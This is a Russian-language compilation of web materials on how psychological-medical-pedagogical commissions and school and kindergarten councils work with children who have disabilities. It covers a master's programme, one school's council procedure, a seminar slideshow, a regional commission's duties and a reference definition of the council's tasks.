Организация деятельности пмпк: «Организация деятельности психолого-медико-педагогической комиссии»

Содержание

Организация деятельности специалистов психолого-медико-педагогической комиссии

О профессии

В мире много людей-инвалидов и людей с ограниченными возможностями здоровья. Благодаря развитию системы здравоохранения врачи сохраняют жизни недоношенных детей (начиная с 5-месячного возраста). Вместе с тем детям, появившимся на свет раньше срока, и детям, имеющим проблемы в развитии, нужна специализированная помощь. Необходимо создать специальные условия для развития и обучения таких детей. Выявить проблемы развития, оказать помощь ребенку и его ближайшему окружению, компенсировать дефекты развития, определить специальные условия для развития и образования лиц с ограниченными возможностями здоровья – суть профессии специалиста психолого-медико-педагогической комиссии.


Учебный процесс

Программа рассчитана на специалистов, имеющих опыт работы с лицами с ограниченными возможностями здоровья (ОВЗ). Магистры изучают новые подходы к обследованию лиц с ОВЗ, формированию заключений и рекомендаций для получения образования, знакомятся с зарубежным опытом работы с такими детьми. Обучающимся наряду с изучением 5 базовых дисциплин, обязательных для направления «Менеджмент», необходимо изучить 13 дисциплин, из которых 5 – по выбору студента и предназначены для формирования профессиональных компетенций, обусловленных характером предстоящей профессиональной деятельности. Особое внимание уделяется изучению нормативно-правовой основе деятельности психолого-медико-педагогической комиссии, организации и содержанию деятельности психолого-медико-педагогической комиссии в современных условиях, организации медико-социальной экспертизы и медико-социальной реабилитации детей с ОВЗ, взаимодействию специалистов психолого-медико-педагогической комиссии в работе с детьми различных категорий разных возрастных групп, организации обследования детей в ПМПК раннего возраста с сенсорными нарушениями, с множественными нарушениями развития.


Практика

Программы практик магистрантов реализуются на базе психолого-медико-педагогических комиссий, в органах федерального, государственного и муниципального управления, осуществляющих деятельность в сфере специального и инклюзивного образования, в образовательных и медицинских организациях.


Карьера

Успешно освоив образовательную программу, выпускники смогут квалифицированно организовывать работу в центральных и территориальных психолого-медико-педагогических комиссиях и консилиумах образовательных организаций, осуществлять консультирование родителей и лиц, участвующих в процессе развития и образования лиц с ОВЗ, выстраивать эффективные коммуникации со всеми группами, которые участвуют в процессе образования лиц с ОВЗ, работать в органах государственного и муниципального управления, осуществляющих деятельность в сфере специального и инклюзивного образования; в психолого-медико-педагогической комиссии; в сфере образования и здравоохранения; в социальной сфере.

Организация деятельности школьного ПМПк | Образовательная социальная сеть

06.02.2018г

Организация деятельности ПМП консилиума в МБОУ «Новотроицкая СШ».

Психолого-педагогическое и медико-социальное сопровождение является целостной системой помощи ребенку с ОВЗ. В нашей школе осуществляется ППМС сопровождение ребенка с ОВЗ, организован коррекционно-образовательный процесс, но я сделаю акцент на том, как организована деятельность ПМПк в нашей школе, потому что именно  консилиум является ключевой точкой в ППМС-сопровождении ребенка с ОВЗ.

Психолого-медико-педагогический консилиум (ПМПк) – постоянно действующий, объединенный общими целями, скоординированный коллектив специалистов, реализующий  сопровождение ребенка с ОВЗ. ПМПк в нашей школе создан приказом директора школы, Положением  о психолого-медико-педагогическом консилиуме МБОУ «Новотроицкая СШ». ПМПк строит свою деятельность в соответствии с Уставом, договором с родителями. Составляется план работы консилиума на учебный год.

 Основная цель ПМПк –  обеспечение оптимальных условий для обучения и воспитания детей в соответствии с их возрастными и индивидуальными особенностями.

Для реализации этой цели  мы ставим  следующие задаич:

1. ранняя диагностика отклонений;

2. консультирование родителей, педагогов;

3. определение необходимых специальных образовательных  условий;

4. определение путей включения детей с ОВЗ в классы, работающие по основным  образовательным программам;

5.составление заключения для представления на психолого-медико-педагогическую комиссию;

6. формирование банка данных  о детях, имеющих проблемы развития.

 Наш консилиум имеет основной и сменный состав.  В основной состав ПМПк входят: директор школы он же педагог-психолог; учитель – логопед он же председатель ПМПк; медицинская сестра, социальный педагог, зам. директора по учебно-воспитательной работе, зам. директора по воспитательной работе. В сменный состав консилиума входят воспитатель ДОУ учителя-предметники, классные руководители. Состав может  варьироватся в зависимости от поставленной цели.

Психолого-педагогический консилиум проводится: в соответствии с планом работы; по запросу учителя-предметника; по запросу классного руководителя; по запросу специалистов ППМС сопровождения; по запросу родителей (законных представителей) учащихся.

Плановый консилиум решает следующие задачи:

определение путей психолого-медико-педагогического сопровождения ребенка;

выработка согласованных решений по определению образовательного и коррекционно-развивающего маршрута;

динамическая оценка состояния ребенка и коррекция ранее намеченной программы;

решение вопроса об изменении образовательного маршрута, коррекционно-развивающей работы при завершении обучения (учебного года).

 плановые консилиумы проводятся один раз в четверть.

 Внеплановые консилиумы собираются по запросу (специалисты, педагоги или воспитатели).

В задачи внепланового консилиума входят:

принятие каких-либо экстренных мер по выявленным обстоятельствам;

изменение направления коррекционно развивающей работы в изменившейся ситуации или в случае неэффективности;

изменение образовательного маршрута.

КАКУЮ ИНФОРМАЦИЮ «ПОСТАВЛЯЕТ» КАЖДЫЙ УЧАСТНИК КОНСИЛИУМА ДЛЯ ОБЩЕГО  ОБСУЖДЕНИЯ ?

Педагог-психолог приносит на консилиум:

— результаты наблюдений;

-результаты экспертных опросов педагогов и родителей;

— результаты обследования самих школьников.

Обобщенные данные о ребенке

Описание психологических особенностей
— обучения;
— поведения;
— самочувствия школьника.

Обнаруженные нарушения или отклонения от
— возрастной;
— психической;
— социальной нормы.

Описаны конкретные проявления этих нарушений:умственное снижение по отношению к возрастной норме;психологические нарушения, проявляющиеся в личностных акцентуациях или отклонениях в поведении, асоциальных проявлениях. Указаны причины существующих нарушений.Перечислены адекватные формы помощи данному школьнику.

Классный руководитель предоставляет на консилиум:

результаты своих собственных наблюдений и бесед с учителями- предметниками;

— педагогическую характеристику учебной деятельности и поведения конкретных школьников  в целом

Классный руководитель фиксирует:(ведёт  «Дневник наблюдения)трудности, которые испытывает ученик в различных  педагогических  ситуациях;особенности  индивидуальных  черт  его обучения;особенности обучения;- самочувствие , настроение.

Показатели для характеристики

Качественные характеристики учебной деятельности.

Количественные показатели учебной деятельности.

Показатели поведения и общения в учебной деятельности (учебных ситуациях).

Показатели эмоционального состояния в учебных ситуациях.

Учитель-логопед:отражаетособенности речевого развития ребенка;возможности его коррекции и прогноз.

Учитель-дефектолог:предоставляет информацию о сформированности у учащихся учебных навыков по русскому языку и математике, возможностях их развития

 мед.сестра предоставляет

:

1.Физическое состояние ребенка на момент проведения консилиума:

соответствие физического развития возрастным нормам;

состояние органов зрения, слуха, костно-мышечной системы;

переносимость физических нагрузок (на основании данных учителя физкультуры).

2.      Факторы риска нарушения развития:

наличие в прошлом заболеваний и травм, которые могут сказываться на развитии ребенка;

факторы риска по основным функциональным системам, наличие хронических заболеваний.

3.      Характеристика заболеваний за прошлый учебный год и часть текущего учебного года.

Социальный педагог  

берет на себя организационные обязанности, связанные с консилиумом:

Регламент проведения внепланового заседания ПМПк

Запрос на проведение внепланового заседания ПМПк подаётся не позднее, чем за 14 дней до заседания.

2. Документы (характеристики, заключения специалистов, работы учащегося) предоставляются секретарю ПМПк не позднее, чем за 3 дня до заседания.

3. Председатель включает в состав ПМПк кроме постоянных специалистов, сотрудников образовательного учреждения, непосредственно работающих с ребенком, направивших ребенка на ПМПк, и др. Председатель ставит в известность специалистов ПМПк о необходимости обследования ребенка.

помощь классным руководителям в реализации решений Консилиума;

решение тех вопросов, которые касаются непосредственной работы с семьей. 4. В течение 3 дней с момента поступления запроса на диагностическое обследование ребенка председатель ПМПк согласовывает этот вопрос с родителями (иными законными представителями) и при отсутствии возражений с их стороны, представленных в письменном виде, организует проведение заседания ПМПк (в соответствии с графиком плановых ПМПк).

5. ПМПк проводится не позднее 10 дней с момента согласования вопроса с родителями (иными законными представителями).

6. В период с момента поступления запроса и до заседания ПМПк каждый его специалист проводит индивидуальное обследование ребенка, планируя время обследования с учетом его реальной возрастной и психофизической нагрузки.

.Я расскажу  более подробно ход консилиума на примере  конкретного школьника. Этот ход является традиционным для нашей школы и организуется исходя из основной особенности работы специалистов ППМС сопровождения с детьми ОВЗ.

1 этап.       Осуществление информационного обмена между всеми участниками консилиума.

Работа консилиума начинается с обсуждения наиболее трудных случаев. Порядок работы консилиума в рамках обсуждения одного случая: если наиболее проблемная информация поступает от психолога, он и начинает обсуждение, если от педагога или медицинского работника — начинают они. Если все участники консилиума относят данного учащегося к числу наиболее проблемных, правильнее начать обсуждение с педагога. Заключение каждого специалиста вкладывается в Карту развития ребенка. Обмен информацией служит основой для принятия коллегиального решения.

2 этап. Разработка стратегии помощи конкретному ученику

Участники консилиума отвечают на вопросы:

какого рода помощь требуется школьнику?

какую развивающую работу желательно с ним осуществлять?

какие особенности должны быть учтены в процессе обучения и общения?

какую работу могут взять на себя участники консилиума?

какую деятельность необходимо осуществлять силами педагогического коллектива данной параллели?

что можно сделать с помощью семьи, специалистов различного профиля вне школы?

3 этап.

 Работа консилиума заканчивается принятием коллегиального решения и написанием итогового документа — протокола, в котором фиксируется окончательное коллегиальное заключение по результатам ПМПк с рекомендациями по оказанию психолого-педагогической и медико-социальной помощи ребенку.

В заключение

Психолого-медико-педагогический консилиум является структурой диагностико-консультативного типа, деятельность которого направлена на определение путей решения проблем, связанных со своевременным выявлением и интеграцией в обществе детей с различными отклонениями в развитии и здоровье, приводящими к школьной дезадаптации (проблемам в обучении и поведенческим расстроиством

«Организация деятельности психолого – медико -педагогического консилиума в ДОУ» | Презентация по коррекционной педагогике:

Слайд 1

МАДОУ «МАЛИНОВСКИЙ ДЕТСКИЙ САД» Семинар ДОУ Ачинского района «Организация деятельности психолого – медико -педагогического консилиума в ДОУ» Подготовила: учитель — логопед О.С. Ускова 2018 год

Слайд 2

Психолого-медико-педагогический консилиум (ПМПк) организуется в ДОУ как форма взаимодействия специалистов учреждения, объединяющихся для психолого-медико-педагогического сопровождения воспитанников с отклонениями в развитии и/или состояниями декомпенсации.

Слайд 3

ПМПк в своей деятельности руководствуется : Конвенцией ООН о правах ребенка, Законом Российской Федерации «Об образовании», Федеральным законом об основных гарантиях прав ребенка в РФ, Семейным кодексом РФ и основывается на Инструктивном письме № 27/901-6 от 27.03.2000 Министерства образования Российской Федерации, Уставом ДОУ, договором между учреждением и родителями (законными представителями) воспитанника и настоящим положением.

Слайд 4

Стратегические цели государственной образовательной политики: — повышение доступности качественного образования, современным потребностям общества и каждого гражданина, — создание такой образовательной среды, которая обеспечивала бы успешную социализацию ВСЕХ обучающихся вне зависимости от их психофизического состояния и развития.

Слайд 5

Цель деятельности ПМПк: обеспечение диагностико-коррекционного психолого-медико-педагогического сопровождения воспитанников с отклонениями в развитии и состояниями декомпенсации, исходя из реальных возможностей образовательного учреждения и в соответствии со специальными образовательными потребностями, возрастными и индивидуальными особенностями, состоянием соматического и нервно-психического здоровья воспитанников.

Слайд 6

Основные задачи ПМПк: — выявление и ранняя (с первых дней пребывания ребенка в ДОУ) диагностика отклонений в развитии и состоянии декомпенсации; профилактика физических, интеллектуальных и эмоционально-личностных перегрузок и срывов; — выявление резервных возможностей развития; — определение характера, продолжительности и эффективности специальной (коррекционной) помощи ребенку и его семье; — подготовка и ведение документации, отражающей актуальное развитие ребенка, динамику его состояния.

Слайд 7

Ведущая роль ПМПк в вопросе создания инклюзивной образовательной среды (ИОС) взаимодействие специалистов образовательного учреждения, объединяющихся не только для психолого – медико – педагогического сопровождения воспитанников, но и с целью создания особых условий реализации образовательных потребностей детей с ограниченными возможностями здоровья.

Слайд 8

Цель психолого – педагогического сопровождения ребёнка с ОВЗ в учебно – воспитательном процессе – усвоение ребёнком соответствующих общеобразовательных программ, коррекция отклонений в развитии, социальная адаптация, психологическое развитие обучающихся в специально созданных в образовательном учреждении психолого – педагогических условий.

Слайд 9

Основные принципы деятельности ПМПк — Принцип семейной центрированности. — Принцип партнёрства. Принцип междисциплинарного взаимодействия. — Принцип добровольности. — Принцип открытости. — Принцип конфиденциальности. — Принцип уважения личности ребёнка. — Принцип уважения к личности родителя. — Принцип профессиональной ответственности. — Принцип информированного согласия.

Слайд 10

Организация деятельности Специалисты, включенные в состав ПМПк, выполняют работу в рамках основного рабочего времени, составляют индивидуальный план работы в соответствии с реальным запросом на обследование детей с отклонениями в развитии и (или) состояниями декомпенсации в условиях ДОУ, и осуществляют коррекционно- развивающую работу непосредственно в помещении ДОУ . Обследование ребенка специалистами ПМПк осуществляется по инициативе родителей (законных представителей) или сотрудников ДОУ с согласия родителей (законных представителей) и на основании договора между ДОУ и родителями (законными представителями) воспитанников Обследование проводится каждым специалистом ПМПк индивидуально с учетом реальной возрастной психофизической нагрузки на ребенка

Слайд 11

— договор между ДОУ и родителями (законными представителями) воспитанников; — педагогическая характеристика воспитателя на ребенка; — представление психолога, составленное по результатам обследования особенностей развития ребенка; — представление логопеда, составленное по результатам обследования ребенка ; -осуществляется запись воспитанника в журнал ПМПк ДОУ. На заседание ПМПк предоставляется следующая документация:

Слайд 12

Обследование ребенка специалистами ПМПк осуществляется при первичной диагностике и по мере поступления детей общий уровень развития ребенка речь эмоциональные и коммуникативные свойства

Слайд 13

Работа консилиума заканчивается заполнением итогового документа – заключение консилиума, в котором предусматриваются ответы на следующие вопросы: Каков психологический, педагогический и медицинский статус ребёнка на момент обследования ? Какими особенностями и проблемами характеризуется развитие ребёнка в целом на момент обследования ? Каким содержанием должна быть наполнена индивидуальная стратегия его сопровождения в процессе обучения ? В каких формах ив какие сроки в сопровождении ребёнку примут участие психолог, логопед, дефектолог, медик и воспитатель ? Предусматривается ли и какая консультативная работа с пед.коллективом, отдельными педагогами, родителями ребёнка и администрацией ДОО ? ?

Слайд 14

Выработка согласованных решений по определению образовательного и коррекционного маршрута Определение путей психолого-педагогического сопровождения Динамическая оценка состояния ребёнка и коррекция раннее намеченной программы Решение вопроса об изменение образовательного маршрута, коррекционной работы при завершении учебного года. Задачи планового консилиума: ( плановые консилиумы проводятся не реже 1 раза в квартал)

Слайд 15

Задачи внепланового консилиума: (внеплановые консилиумы собираются по запросу специалиста, педагога или воспитателя) Принятие каких-либо экстренных мер по выявившимся обстоятельствам Изменение направления коррекционно – развивающей работы Изменение образовательного маршрута в рамках образовательного учреждения

Слайд 16

Решение I Этап. Постановка проблемы II Этап Уточнение проблемы III Этап Работа над проблемой IV Этап Решение проблемы Этапы работы ПМПк

Слайд 17

Основные области деятельности специалистов ПМПк Педагог-психолог: психологическая диагностика, выявление потенциальных возможностей ребенка и зону его ближайшего развития, психологическое кон­сультирование, психотренинг, психокоррекция, психотерапия, разработка и оформление рекомендаций другим специалистам по организации работы с ребён­ком с учётом данных психодиагностики. Учитель-логопед: логопедическая диагностика, коррекция и развитие речи, разработка рекомендаций другим специалистам по использованию рациональных логопедических приёмов в работе с ребёнком. Воспитатель: определение уровня развития разных видов деятельности ребёнка в соответствии с программой воспитания и обучения, особенностей коммуникативной активности и культуры, уровня сформи­рованности целенаправленной деятельности (прежде всего по данным оценки изобразительной и трудовой деятельности), навыков самообслуживания согласно возрастному этапу; реализация рекомендаций психолога, логопеда, врача (организация режима, развивающих и коррекционных игр и т. д.).

Слайд 18

Старшая медицинская сестра: информирование заинтересованных лиц о поступлении в ДОУ детей с отклонениями в развитии, контроль выполнения рекомендаций врача, обеспечение повседневного санитарно-гигиенического режима, ежедневный контроль за психическим и соматическим состоянием воспитанников. Инструктор по физкультуре: выполнение рекомендаций психолога, логопеда, врача, проведение занятий с учетом индивидуального подхода. Музыкальный руководитель: реализация используемых программ музыкального воспитания с элементами танцевальной, теат­ральной терапии с учётом рекомендаций учителя-логопеда, педагога-психолога. Председатель ПМПк: ведение текущей документации, подготовка и проведение заседаний ПМПк, перспективное планирование деятельности ПМПк, координация деятельности и взаимодействия специалистов, контроль организации работы, анализ эффективности.

Слайд 19

Различия между ПМПк и ПМПК ПМПК даёт ответ на вопрос – при каких условиях ребёнок с выявленными особенностями сможет реализовать свой потенциал, будучи интегрированным в социум. ПМПК: осуществляет дифференцированный отбор детей с ОВЗ в специальные (коррекционные) ОУ, устанавливает психолого- педагогический статус ребёнка; определяет вид ОУ и образовательный маршрут ребёнка ПМПк – организационная форма, в рамках которой объединяются усилия педагогов, психологов и т.д. для решения проблем обучения и полноценного развития детей. ПМПк рассматривает личность ребёнка с учётом всех её параметров: психологического и психического развития, социальной ситуации, состояния здоровья, характера предъявляемых требований, оптимальности педагогических воздействий.

Слайд 20

СПАСИБО ЗА ВНИМАНИЕ! СПАСИБО ЗА ВНИМАНИЕ!

Направления работы ПМПК

Направления работы ПМПК

Основные направления деятельности комиссии:

  • проведение диагностического обследова¬ния детей в возрасте от 0 до 18 лет в целях своевремен¬ного выявления особенностей в физическом и (или) психическом развитии и (или) отклонений в поведении;
  • подготовка по результатам обследования рекомендаций по оказанию психолого-педагогической и медико-социальной помощи де¬тям, организации их обучения и воспитания, подтверждение, уточнение или изменение ранее данных ПМПК рекомендаций;
  • оказание консультативной помощи родителям (законным представителям) детей, работникам организаций, осуществляющих образовательную деятельность, медицинских организаций, осуществляющих первичную медико-санитарную помощь, организаций, оказывающих социальные услуги, других организаций по вопросам воспитания, обучения и коррекции нарушений в развитии детей с ограниченными возможно¬стями здоровья и (или) инвалидностью, девиантным поведением;
  • оказание федеральному учреждению медико-социальной экспертизы содействия в разработке индивидуальной программы реабилитации и абилитации ребенка-инвалида;
  • осуществление учета данных о детях с ограниченными возможностями здоровья и (или) инвалидностью;
  • участие в организации информационно-просветительской работы с насе¬лением в области предупреждения и коррекции недостатков в физическом и (или) психическом развитии и (или) отклонений в поведении детей.

Направлениями деятельности Центральной ПМПК также являются:

  • проведение обследования детей:

а) с инвалидностью, в том числе по направлению федеральных учреждений медико-социальной экспертизы;
б) сирот и детей, оставшихся без попечения родителей;
в) обучающихся – выпускников 9-, 11- классов;
г) в случае обжалования родителями (законными представителями) заключений территориальных ПМПК;

  • координация и организационно-методическое обеспечение деятельности территориальных ПМПК;
  • анализ деятельности территориальных ПМПК; 
  • подготовка аналитических отчетов; 
  • формирование банка данных о детях, прошедших обследова¬ние и получивших рекомендации ПМПК;
  •  осуществление межведомственного взаимодействия с федеральными учреждениями медико-социальной и медико-биологической экспертизы, комитетом здравоохранения Курской области, социального обеспечения Курской области, департаментом по опеке и попечительству по выявлению и направлению на обследование детей, находящихся в трудной жизненной ситуации или в социально опасном положении;
  •  участие в просветительской деятельности, направленной на повышение психолого-педагогической и медико-социальной культуры населения и специалистов, работающих с детьми, имеющими ограниченные возможности здоровья и (или) инвалидность, девиантное поведение.

Уровень образования

ВсеБакалавриатМагистратураСпециалитетАспирантураОрдинатура

Направление обучения

ВсеАвиационная и ракетно-космическая техникаАрхитектураАэронавигация и эксплуатация авиационной и ракетно-космической техникиБиологические наукиВетеринария и зоотехнияВостоковедение и африканистикаИзобразительное и прикладные виды искусствИнформатика и вычислительная техникаИнформационная безопасностьИскусствознаниеИстория и археологияКлиническая медицинаКомпьютерные и информационные наукиКультуроведение и социокультурные проектыМатематика и механикаМашиностроениеМузыкальное искусствоНанотехнологии и наноматериалыНауки о здоровье и профилактическая медицинаНауки о землеОбразование и педагогические наукиПолитические науки и регионоведениеПрикладная геология, горное дело, нефтегазовое дело и геодезияПромышленная экология и биотехнологииПсихологические наукиСельское, лесное и рыбное хозяйствоСервис и туризмСестринское делоСоциология и социальная работаСредства массовой информации и информационно-библиотечное делоСценические искусства и литературное творчествоТеологияТехника и технологии кораблестроения и водного транспортаТехника и технологии наземного транспортаТехника и технологии строительстваТехнологии легкой промышленностиТехнологии материаловТехносферная безопасность и природообустройствоУправление в технических системахФармацияФизика и астрономияФизико-технические науки и технологииФизическая культура и спортФилософия, этика и религиоведениеФотоника, приборостроение, оптические и биотехнические системы и технологииФундаментальная медицинаХимические наукиХимические технологииХимияЭкономика и управлениеЭлектро- и теплоэнергетикаЭлектроника, радиотехника и системы связиЮриспруденцияЯдерная энергетика и технологииЯзыкознание и литературоведение

Предмет

ВсеАвиастроениеАвиационная и космическая медицинаАвиационная и ракетно-космическая техникаАвтоматизация технологических процессов и производствАгроинженерияАгрономияАкушерство и гинекологияАллергология и иммунологияАнестезиология-реаниматологияАнтропология и этнологияАрхитектураАстрономияАтомные станции: проектирование, эксплуатация и инжинирингАэронавигацияБактериологияБаллистика и гидроаэродинамикаБиблиотечно-информационная деятельностьБизнес-информатикаБиоинженерия и биоинформатикаБиологические наукиБиологияБиотехнические системы и технологииБиотехнологияВетеринарияВетеринария и зоотехнияВирусологияВодные биоресурсы и аквакультураВодолазная медицинаВостоковедение и африканистикаВысокотехнологические плазменные и энергетические установкиВысокотехнологичные производства пищевых продуктов функционального и специализированного назначенияГастроэнтерологияГематологияГенетикаГеографияГеодезия и дистанционное зондированиеГеологияГеология, разведка и разработка полезных ископаемыхГериатрияГигиена питанияГидрометеорологияГорное делоГостиничное делоГосударственное и муниципальное управлениеГосударственный аудитГрадостроительствоГрафикаДвигатели летательных аппаратовДерматовенерологияДетская урология-андрологияДетская хирургияДетская эндокринологияДиетологияДизайнДизайн архитектурной средыДокументоведение и архивоведениеЖурналистикаЗарубежное регионоведениеЗемлеустройство и кадастрыЗоотехнияИздательское делоИзящные искусстваИнноватикаИнтеллектуальные системы в гуманитарной средеИнтеллектуальные системы в гуманитарной сфереИнфекционные болезниИнфокоммуникационные технологии и системы связиИнформатика и вычислительная техникаИнформационная безопасностьИнформационная безопасность автоматизированных системИнформационная безопасность телекоммуникационных системИнформационно-аналитические системы безопасностиИнформационные системы и технологииИскусства и гуманитарные наукиИскусство концертного исполнительстваИскусствоведениеИсторические науки и археологияИсторияИстория искусствКардиологияКартография и геоинформатикаКлиническая лабораторная диагностикаКлиническая медицинаКлиническая психологияКлиническая фармакологияКолопроктологияКомпьютерная безопасностьКомпьютерные и информационные наукиКонструирование и технология электронных средствКонструкторско-технологическое обеспечение машиностроительных производствКонфликтологияКораблестроение, океанотехника и системотехника объектов морской инфраструктурыКосметологияКультурологияЛазерная техника и лазерные технологииЛандшафтная архитектураЛесное делоЛесное хозяйствоЛечебная физкультура и спортивная медицинаЛечебное делоЛингвистикаЛитературное творчествоМануальная терапияМатематикаМатематика и компьютерные наукиМатематика и механикаМатематическое обеспечение и администрирование информационных системМатериаловедение и технологии материаловМашиностроениеМедиакоммуникацииМедико-профилактическое делоМедико-социальная экспертизаМедицинская биофизикаМедицинская биохимияМедицинская кибернетикаМеждународные отношенияМенеджментМеталлургияМеханика и математическое моделированиеМехатроника и робототехникаМузеология и охрана объектов культурного и природного наследияМузыкально-театральное искусствоНаземные транспортно-технологические комплексыНаноинженерияНаноматериалыНанотехнологии и микросистемная техникаНанотехнологии и наноматериалыНауки о ЗемлеНаукоемкие технологии и экономика инновацийНеврологияНейрохирургияНеонатологияНефрологияНефтегазовое делоНефтегазовые техника и технологииОбразование и педагогические наукиОбщая врачебная практика (семейная медицина)Общественное здравоохранениеОнкологияОптотехникаОрганизация здравоохранения и общественное здоровьеОрганизация работы с молодежьюОртодонтияОториноларингологияОфтальмологияПатологическая анатомияПедагогика и психология девиантного поведенияПедагогическое образованиеПедагогическое образование (с двумя профилями подготовки)ПедиатрияПеревод и переводоведениеПластическая хирургияПожарная безопасностьПолитические науки и регионоведениеПолитологияПочвоведениеПравовое обеспечение национальной безопасностиПриборостроениеПрикладная геодезияПрикладная геологияПрикладная информатикаПрикладная математикаПрикладная математика и информатикаПрикладная механикаПрикладная этикаПрикладные математика и физикаПриродообустройство и водопользованиеПрограммная инженерияПродукты питания животного происхожденияПродукты питания из растительного сырьяПроектирование авиационных и ракетных двигателейПроектирование технологических машин и комплексовПроектирование, производство и эксплуатация ракет и ракетно-космических комплексовПромышленная экология и биотехнологииПрофессиональное обучение (по отраслям)ПрофпатологияПсихиатрияПсихиатрия-наркологияПсихологические наукиПсихологияПсихология служебной деятельностиПсихолого-педагогическое образованиеПсихотерапияПубличная политика и социальные наукиПульмонологияРадиационная гигиенаРадиологияРадиотерапияРадиотехникаРадиофизикаРадиоэлектронные системы и комплексыРакетные комплексы и космонавтикаРевматологияРегионоведение РоссииРеклама и связи с общественностьюРеконструкция и реставрация архитектурного наследияРекреация и спортивно-оздоровительный туризмРелигиоведениеРентгенологияРентгенэндоваскулярные диагностика и лечениеРефлексотерапияСамолето- и вертолетостроениеСервисСердечно-сосудистая хирургияСестринское делоСистемный анализ и управлениеСистемы управления движением и навигацияСкорая медицинская помощьСоциальная работаСоциально-культурная деятельностьСоциологические наукиСоциологияСпециальное (дефектологическое) образованиеСпортСредства массовой информации и информационно-библиотечное делоСтандартизация и метрологияСтоматологияСтоматология детскаяСтоматология общей практикиСтоматология ортопедическаяСтоматология терапевтическаяСтоматология хирургическаяСтроительствоСтроительство уникальных зданий и сооруженийСудебная и прокурорская деятельностьСудебная экспертизаСудебно-медицинская экспертизаТаможенное делоТелевидениеТеологияТеплоэнергетика и теплотехникаТерапияТехника и технологии кораблестроения и водного транспортаТехника и технологии наземного транспортаТехника и технологии строительстваТехническая физикаТехническая эксплуатация авиационных электросистем и пилотажно-навигационных комплексовТехническая эксплуатация летательных аппаратов и двигателейТехнологии материаловТехнологии разделения изотопов и ядерное топливоТехнологические машины и оборудованиеТехнология геологической разведкиТехнология лесозаготовительных и деревоперерабатывающих производствТехнология полиграфического и упаковочного производстваТехнология продукции и организация общественного питанияТехнология транспортных процессовТехнология художественной обработки материаловТехносферная безопасностьТовароведениеТоракальная хирургияТорговое делоТравматология и ортопедияТранспортные средства специального назначенияТрансфузиологияТуризмУльтразвуковая диагностикаУправление в технических системахУправление интеллектуальной собственностьюУправление качествомУправление персоналомУрологияФармацияФизикаФизика и астрономияФизико-технические науки и технологииФизиотерапияФизическая культураФизическая культура для лиц с отклонениями в состоянии здоровья (адаптивная физическая культура)Физическая культура и спортФизические процессы горного или нефтегазового производстваФилологияФилософияФилософия, этика и религиоведениеФинансы и кредитФотоника и оптоинформатикаФотоника, приборостроение, оптические и биотехнические системы и технологииФтизиатрияФундаментальная и прикладная лингвистикаФундаментальная и прикладная химияФундаментальная информатика и информационные технологииФундаментальная медицинаФундаментальные математика и механикаФункциональная диагностикаХимическая технологияХимическая технология материалов современной энергетикиХимические наукиХимияХимия, физика и механика материаловХирургияХолодильная, криогенная техника и системы жизнеобеспеченияХудожественное руководство оперно-симфоническим оркестром и академическим хоромЧелюстно-лицевая хирургияЭкология и природопользованиеЭкономикаЭкономическая безопасностьЭксплуатация транспортно-технологических машин и комплексовЭлектро- и теплотехникаЭлектроника и наноэлектроникаЭлектроника, радиотехника и системы связиЭлектронные и оптико-электронные приборы и системы специального назначенияЭлектроэнергетика и электротехникаЭндокринологияЭндоскопияЭнергетическое машиностроениеЭнерго- и ресурсосберегающие процессы в химической технологии, нефтехимии и биотехнологииЭпидемиологияЮриспруденцияЯдерная энергетика и теплофизикаЯдерная, тепловая и возобновляемая энергетика и сопутствующие технологииЯдерные реакторы и материалыЯдерные физика и технологииЯзыкознание и литературоведение

Работа психолого-медико-педагогического консилиума (ПМПК)

Понятие и сущность ПМПК

Определение 1

Психолого-медико-педагогический консилиум (ПМПК) – это объединение специалистов определенного образовательного учреждения, созданное для того, чтобы заниматься изучением (исследованием) личности ребенка с учетом всех ее параметров.

Под исследованием личности ребенка понимается изучение психического и психологического развития ребенка, его здоровья, а также оптимальности того педагогического воздействия, которое оказывается на личность ребенка в рамках образовательного учреждения.

ПМПК осуществляет комплексное и всестороннее исследование, и последующее сопровождение детей. Дети, с которыми работают специалисты ПМПК, в основном имеют проблемы с адаптацией в условиях образовательного учреждения, различные виды нарушений и отклонений в развитии.

Таким образом, в рамках ПМПК объединены усилия одновременно нескольких специалистов, для решения проблем воспитания, обучения и полноценного развития детей всех возрастов, в рамках конкретного образовательного учреждения.

Замечание 1

Основная цель ПМПК – обеспечение диагностического, коррекционного и психолого-медико-педагогического сопровождения детей, имеющих отклонения в развитии.

Помощь детям со стороны ПМПК осуществляется на основании выявленных проблем, а также с учетом возможностей образовательного учреждения. При работе с детьми специалисты ПМПК опираются на возрастные возможности и потребности детей.

Задачи ПМПК:

  1. Своевременная диагностика отклонений в развитии у детей
  2. Выявление у каждого ребенка его актуальных и резервных возможностей
  3. Осуществление подготовки необходимой документации, для реализации своевременной коррекционной помощи ребенку, в рамках образовательного учреждения
  4. Установление детей, которые нуждаются в дополнительной помощи психолога, дефектолога, логопеда и т.д.
  5. Осуществление анализа развития и процесса обучения тех детей, которые не имеют проблем в развитии (по просьбе родителей или опекунов, педагогов, воспитателей)
  6. Разработка рекомендаций для родителей, педагогов, воспитателей и методистов, направленных на оказание коррекционной помощи детям, имеющим отклонения в развитии
  7. Обеспечение индивидуального подхода в воспитании и обучении детей с отклонениями развития
  8. Организация индивидуального коррекционно-развивающего сопровождения детей с отклонениями
  9. Осуществление отслеживания изменений в развитии детей и определение эффективности реализуемой коррекционной и развивающей программы
  10. Определение уровня подготовленности детей к обучению в школе, выявление детей, которые в последующем входят в «группу риска» по развитию
  11. Создание в рамках конкретного образовательного учреждения адекватных условий развития детей в соответствии с их индивидуальными возможностями и потребностями.
  12. Осуществление профилактической работы по предупреждению физической, интеллектуальной и эмоциональной перегрузки детей
  13. Ведение специальной документации, которая отражает актуальное состояние развития ребенка и его динамику
  14. Осуществление эффективного взаимодействия между специалистами ПМПК и педагогическим коллективом образовательного учреждения

Готовые работы на аналогичную тему

Организация ПМПК

Деятельность ПМПК организуется на базе образовательного учреждения, вне зависимости от его вида и типа, утверждается приказом руководителя учреждения.

Общее руководство ПМПК осуществляет руководитель образовательного учреждения.

В процессе реализации своей деятельности ПМПК сотрудничает со всеми структурными подразделениями и специалистами учреждения.

Основная деятельность ПМПК заключается в:

  • ознакомлении субъектов образовательного учреждения с особенностями развития ребенка;
  • осуществлении более наблюдательной и объективной оценки процесс развития ребенка;
  • разработке общих методов и средств по работе с детьми, имеющими проблемы в развитии;
  • объединении усилий всех специалистов учреждения для организации эффективной коррекционно-развивающей работы с детьми, имеющими отклонения в развитии;
  • разработке индивидуальной программы развития ребенка с отклонениями в развитии;
  • распределении обязанностей между специалистами образовательного учреждения;
